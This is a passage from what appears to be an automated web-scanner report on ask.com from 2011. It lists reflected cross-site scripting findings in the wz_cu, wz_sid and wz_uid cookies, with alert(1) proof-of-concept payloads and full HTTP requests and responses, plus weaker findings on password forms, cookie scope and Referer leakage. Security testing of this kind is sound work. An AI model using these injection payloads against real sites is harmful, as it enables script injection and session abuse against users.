Cookie: cu.wz=0; wz_cu=0b6fc8"><script>alert(1)</script>dbb23d0e710; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjAwLVVUQw%3D%3D&po=0&pp=dir

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Thu, 24 Mar 2011 16:07:17 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjE3LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:17 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:17 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 59655

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>

<tit
...[SNIP]...
<img src="http://wzus1.ask.com/i/i.gif?t=v&d=us&s=a&c=ph&l=dir&o=0&ld=5489&sv=0a5c4073&p=pictureslanding&rf=0&ord=4356532&wz_cu=0b6fc8"><script>alert(1)</script>dbb23d0e710" height=1 width=1 id="SessionTracker" />
...[SNIP]...

1.27. http://www.ask.com/pictureslanding [wz_sid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictureslanding

Issue detail

The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a0e83'-alert(1)-'992fae9488d was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /pictureslanding?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3a0e83'-alert(1)-'992fae9488d; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjAwLVVUQw%3D%3D&po=0&pp=dir

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Thu, 24 Mar 2011 16:07:25 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjI1LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:25 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:25 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 59165

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>

<tit
...[SNIP]...
<iframe id="mar" src="http://fls.doubleclick.net/activityi;src=2903398;type=spons876;cat=ask_s775;u1=0845DB8DB66BB2CFE0A8DECE14D761F3;u4=0144DB8DB86BB2CFE0A8DECE14D761F3a0e83'-alert(1)-'992fae9488d;u3=0;u2=;ord=-1164671048?" width="1" height="1" frameborder="0">
...[SNIP]...

1.28. http://www.ask.com/pictureslanding [wz_uid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictureslanding

Issue detail

The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4d366'-alert(1)-'85dbf415022 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /pictureslanding?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F34d366'-alert(1)-'85dbf415022; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjAwLVVUQw%3D%3D&po=0&pp=dir

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Cache-Control: private
Date: Thu, 24 Mar 2011 16:07:23 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjIzLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:23 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:23 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 61892

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>

<tit
...[SNIP]...
<iframe id="mar" src="http://fls.doubleclick.net/activityi;src=2903398;type=spons876;cat=ask_s775;u1=0845DB8DB66BB2CFE0A8DECE14D761F34d366'-alert(1)-'85dbf415022;u4=0144DB8DB86BB2CFE0A8DECE14D761F3;u3=0;u2=;ord=-808111521?" width="1" height="1" frameborder="0">
...[SNIP]...

2. Cleartext submission of password previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ask.com
Path:	/ja-ask-dialog

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.ask.com/ja-check-user

The form contains the following password fields:

password
password2

Request

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:05:29 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA1OjI5LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:29 GMT; Path=/
Content-Length: 68842

...[SNIP]...
</div>

<form name="signupform" id="signupform" style="display:block" action="http://www.ask.com/ja-check-user" method="POST">
<fieldset>
...[SNIP]...
<div class="signup_col2">
                           <input style="width:262px;margin-right:10px" type="password" onchange="JASK.ask_dialog.validatePassword();" id="dialog_password" name="password" tabindex="0" class="txtin txt3 abstract">
                       </div>
...[SNIP]...
<div class="signup_col2">
                           <input style="width:262px;margin-right:10px" type="password" onchange="JASK.ask_dialog.confirmPassword();" id="dialog_password2" name="password2" tabindex="0" class="txtin txt3 abstract">
                       </div>
...[SNIP]...

3. Password field submitted using GET method previous next
There are 2 instances of this issue:

/ja-ask-dialog
/ja-ask-dialog

3.1. http://www.ask.com/ja-ask-dialog previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.ask.com
Path:	/ja-ask-dialog

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

https://secure.ask.com/ja-authenticate

The form contains the following password field:

password

Request

Response

3.2. http://www.ask.com/ja-ask-dialog previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.ask.com
Path:	/ja-ask-dialog

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

https://secure.ask.com/ja-authenticate

The form contains the following password field:

password

Request

Response

4. Password field with autocomplete enabled previous next
There are 3 instances of this issue:

/ja-ask-dialog
/ja-ask-dialog
/ja-ask-dialog

4.1. http://www.ask.com/ja-ask-dialog previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.ask.com
Path:	/ja-ask-dialog

Issue detail

The page contains a form with the following action URL:

https://secure.ask.com/ja-authenticate

The form contains the following password field with autocomplete enabled:

password

Request

Response

4.2. http://www.ask.com/ja-ask-dialog previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.ask.com
Path:	/ja-ask-dialog

Issue detail

The page contains a form with the following action URL:

http://www.ask.com/ja-check-user

The form contains the following password fields with autocomplete enabled:

password
password2

Request

Response

4.3. http://www.ask.com/ja-ask-dialog previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.ask.com
Path:	/ja-ask-dialog

Issue detail

The page contains a form with the following action URL:

https://secure.ask.com/ja-authenticate

The form contains the following password field with autocomplete enabled:

password

Request

Response

5. Referer-dependent response previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.ask.com
Path:	/answers/7153311/is-nail-polish-bad-for-your-nails

Request 1

GET /answers/7153311/is-nail-polish-bad-for-your-nails?qsrc=4034 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUxLVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3

Response 1

HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:09:53 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA5OjUyLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:09:52 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:09:52 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 118233

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>

<head>

...[SNIP]...
text/javascript">
var st = new Image();
st.height = 1;
st.width = 1;
st.id = "SessionTracker";
st.src = "http://wzus1.ask.com/i/i.gif?t=v&d=us&s=a&c=qna&l=dir&o=0&ld=5489&sv=0a5c407b&p=ja-question&rf=0&ord=7813837&wz_cu=0";

</script>
<noscript><img src="http://wzus1.ask.com/i/i.gif?t=v&d=us&s=a&c=qna&l=dir&o=0&ld=5489&sv=0a5c407b&p=ja-question&rf=0&ord=7813837&wz_cu=0" height=1 width=1 id="SessionTracker" /></noscript>
</span>

<div id="ask_question_dialog"></div>
<div id="ask_question_dialog_container" style="display:none"></div>
<div id="asDlgWrap" style="overflow:hidden"></div>

<div id="serp_ftr" class="ask-mrl15" style="margin-bottom:4px;margin-top:4px" >

<a href="/about" onmousedown="return ct(this,30771)" class="txt2 info l_nu" target="_top">
About</a>

<span class="txt2 info" style="padding:0 5px 0 5px;">-</span>

<a href="/about/legal/privacy" onmousedown="return ct(this,30771)" class="txt2 info l_nu" target="_top">
Privacy</a>

<span class="txt2 info" style="padding:0 5px 0 5px;">-</span>

<a href="http://www.ask.com/settings#askeraser" class="txt2 info l_nu" onClick="">AskEraser</a>

<span class="txt2 info" style="padding:0 5px 0 5p
...[SNIP]...

Request 2

GET /answers/7153311/is-nail-polish-bad-for-your-nails?qsrc=4034 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUxLVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3

Response 2

HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 24 Mar 2011 16:12:25 GMT
Connection: close
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjEyOjI0LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:12:24 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:12:24 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 118222

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>

<head>

...[SNIP]...
text/javascript">
var st = new Image();
st.height = 1;
st.width = 1;
st.id = "SessionTracker";
st.src = "http://wzus1.ask.com/i/i.gif?t=v&d=us&s=a&c=qna&l=dir&o=0&ld=5489&sv=0a5c407a&p=ja-question&ord=5096479&wz_cu=0";

</script>
<noscript><img src="http://wzus1.ask.com/i/i.gif?t=v&d=us&s=a&c=qna&l=dir&o=0&ld=5489&sv=0a5c407a&p=ja-question&ord=5096479&wz_cu=0" height=1 width=1 id="SessionTracker" /></noscript>
</span>

<div id="ask_question_dialog"></div>
<div id="ask_question_dialog_container" style="display:none"></div>
<div id="asDlgWrap" style="overflow:hidden"></div>

<div id="serp_ftr" class="ask-mrl15" style="margin-bottom:4px;margin-top:4px" >

<a href="/about" onmousedown="return ct(this,30771)" class="txt2 info l_nu" target="_top">
About</a>

<span class="txt2 info" style="padding:0 5px 0 5px;">-</span>

<a href="/about/legal/privacy" onmousedown="return ct(this,30771)" class="txt2 info l_nu" target="_top">
Privacy</a>

<span class="txt2 info" style="padding:0 5px 0 5px;">-</span>

<a href="http://www.ask.com/settings#askeraser" class="txt2 info l_nu" onClick="">AskEraser</a>

<span class="txt2 info" style="padding:0 5px 0 5px;">-<
...[SNIP]...

6. Cookie scoped to parent domain previous next
There are 5 instances of this issue:

/
/answers/7153311/is-nail-polish-bad-for-your-nails
/ja-ask-dialog
/pictures
/pictureslanding

6.1. http://www.ask.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

user=o=0&l=dir; Domain=.ask.com; Path=/
puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA1OjI4LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:28 GMT; Path=/
skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:28 GMT; Path=/
ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:28 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

6.2. http://www.ask.com/answers/7153311/is-nail-polish-bad-for-your-nails previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/answers/7153311/is-nail-polish-bad-for-your-nails

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA5OjUyLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:09:52 GMT; Path=/
skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:09:52 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /answers/7153311/is-nail-polish-bad-for-your-nails?qsrc=4034 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUxLVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3

Response

6.3. http://www.ask.com/ja-ask-dialog previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/ja-ask-dialog

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA1OjI5LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:05:29 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

6.4. http://www.ask.com/pictures previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictures

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUwLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:50 GMT; Path=/
skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:50 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pictures?q=Star+Jones&o=0&l=dir&qsrc=3015 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/pictureslanding?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjA3LVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764

Response

6.5. http://www.ask.com/pictureslanding previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictureslanding

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjAyLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:02 GMT; Path=/
skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:02 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /pictureslanding?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjAwLVVUQw%3D%3D&po=0&pp=dir

Response

7. Cross-domain Referer leakage previous next
There are 8 instances of this issue:

/
/
/
/
/answers/7153311/is-nail-polish-bad-for-your-nails
/ja-ask-dialog
/pictures
/pictureslanding

7.1. http://www.ask.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://www.ask.com/?o=0&l=dir

The response contains the following links to other domains:

http://api.recaptcha.net/js/recaptcha_ajax.js
http://asksupport.custhelp.com/app/answers/list
http://b.scorecardresearch.com/p?c1=2&c2=6034776&c3=&c4=&c5=&c6=&c15=&cj=1
http://fls.doubleclick.net/activityi;src=2903398;type=homep773;cat=ask_e764;u1=2adc1d6f3adc1d6f3;u4=;u3=;u2=0;ord=-424747543?
http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh
http://twitter.com/askdotcom
http://www.facebook.com/AskDotCom

Request

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:05:28 GMT
Connection: close
Vary: Accept-Encoding
